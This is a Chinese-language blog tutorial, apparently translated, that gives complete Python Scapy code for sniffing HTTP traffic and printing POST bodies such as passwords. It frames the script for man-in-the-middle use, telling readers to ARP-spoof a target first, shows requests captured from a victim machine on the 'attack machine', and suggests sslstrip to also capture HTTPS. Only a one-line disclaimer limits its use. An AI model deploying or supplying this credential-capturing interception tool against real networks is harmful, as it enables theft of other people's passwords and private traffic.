如何在Python中使用Scapy嗅探网络中的HTTP数据包?

2021年11月16日16:20:47 发表评论 1,467 次浏览

如果方法是 POST,则嗅探和打印 HTTP 数据包信息,例如 url 和原始数据(密码、搜索查询等)。

Python如何嗅探HTTP数据包?对于网络安全工程师来说,监控网络似乎总是一项有用的任务,因为它使他们能够看到网络中发生的事情,查看和控制恶意流量等。在本教程中,你将看到如何嗅探HTTP数据包在 Python 中使用 Scapy 的网络。

还有其他工具可以捕获流量,例如tcpdumpWireshark,但在本指南中,我们将使用 Python 中的 Scapy 库来嗅探数据包。

如何使用Scapy嗅探网络数据包?我们将在本教程中看到的配方背后的基本思想是,我们不断嗅探数据包,一旦捕获到一个HTTP 请求,我们就从数据包中提取一些信息并将它们打印出来,是否容易?让我们开始吧。

在 Scapy 2.4.3+ 中,默认支持 HTTP 数据包。让我们安装本教程的要求:

pip3 install scapy colorama

如果你在安装 Scapy 时遇到问题,请查看这些教程:

我们在这里需要colorama只是为了改变终端中的文本颜色。

Scapy嗅探HTTP数据包示例介绍 - 让我们导入必要的模块:

from scapy.all import *
from scapy.layers.http import HTTPRequest # import HTTP packet
from colorama import init, Fore
# initialize colorama
init()
# define colors
GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET

让我们定义处理嗅探的函数:

def sniff_packets(iface=None):
    """
    Sniff 80 port packets with `iface`, if None (default), then the
    Scapy's default interface is used
    """
    if iface:
        # port 80 for http (generally)
        # `process_packet` is the callback
        sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
    else:
        # sniff with default interface
        sniff(filter="port 80", prn=process_packet, store=False)

Python如何嗅探HTTP数据包?你可能会注意到,我们在这里指定了端口80,这是因为HTTP的标准端口是80,所以我们已经过滤掉了不需要的数据包。

我们将process_packet()函数传递给sniff()函数作为回调,每当嗅探数据包时都会调用它,它将数据包作为参数,让我们实现它:

def process_packet(packet):
    """
    This function is executed whenever a packet is sniffed
    """
    if packet.haslayer(HTTPRequest):
        # if this packet is an HTTP Request
        # get the requested URL
        url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
        # get the requester's IP Address
        ip = packet[IP].src
        # get the request method
        method = packet[HTTPRequest].Method.decode()
        print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
        if show_raw and packet.haslayer(Raw) and method == "POST":
            # if show_raw flag is enabled, has raw data, and the requested method is "POST"
            # then show raw
            print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")

我们在这里提取请求的 URL、请求者的 IP 和请求方法,但不限于此,尝试使用packet.show()方法打印整个 HTTP 请求包,你会看到大量的你可以在那里提取信息。

不用担心show_raw变量,它只是一个全局标志,指示我们是否打印POST原始数据,例如密码、搜索查询等。我们将在脚本的参数中传递它。

Scapy嗅探HTTP数据包示例 - 现在让我们实现主要代码:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
                                                 + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
    parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")
    # parse arguments
    args = parser.parse_args()
    iface = args.iface
    show_raw = args.show_raw
    sniff_packets(iface)

我们已经使用argparse 模块从命令行或终端解析参数,现在让我们运行脚本(我将其命名为http_filter.py):

root@rockikz:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw

这是在我的本地机器上浏览 HTTP 网站后的输出:

如何在Python中使用Scapy嗅探网络中的HTTP数据包?如何使用Scapy嗅探网络数据包?你现在可能想知道在我的本地计算机上嗅探 HTTP 数据包有什么好处。好吧,当你是中间人时,你可以嗅探整个网络或特定主机上的数据包。

为此,你需要使用此脚本对目标进行arp 欺骗,以下是你的使用方法:

如何在Python中使用Scapy嗅探网络中的HTTP数据包?

此时,我们正在欺骗“192.168.1.100”,说我们是路由器,因此任何进出目标机器的数据包都将首先流向我们,然后流向路由器。有关更多信息,请查看本教程。

Scapy嗅探HTTP数据包示例 - 现在让我们尝试再次运行http_filter.py脚本:

root@rockikz:~/pythonscripts# python3 http_sniffer.py -i wlan0 --show-raw

Python如何嗅探HTTP数据包?在“192.168.1.100”(这是我的 Windows 机器)中浏览互联网后,我得到了这个输出(在我的攻击机器中):

[+] 192.168.1.100 Requested google.com/ with GET
[+] 192.168.1.100 Requested www.google.com/ with GET
[+] 192.168.1.100 Requested www.thepythoncode.com/ with GET
[+] 192.168.1.100 Requested www.thepythoncode.com/contact with GET

很酷,对吧?请注意,你还可以使用sslstrip扩展它,以便也能够嗅探 HTTPS 请求!

免责声明:在你有权访问的网络上使用它,作者不对你对你无权访问的网络造成的任何损害负责。

好的,所以这是一个关于如何嗅探网络中数据包的快速演示,不过这是一个示例,你可以随意更改代码,尝试一下!

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: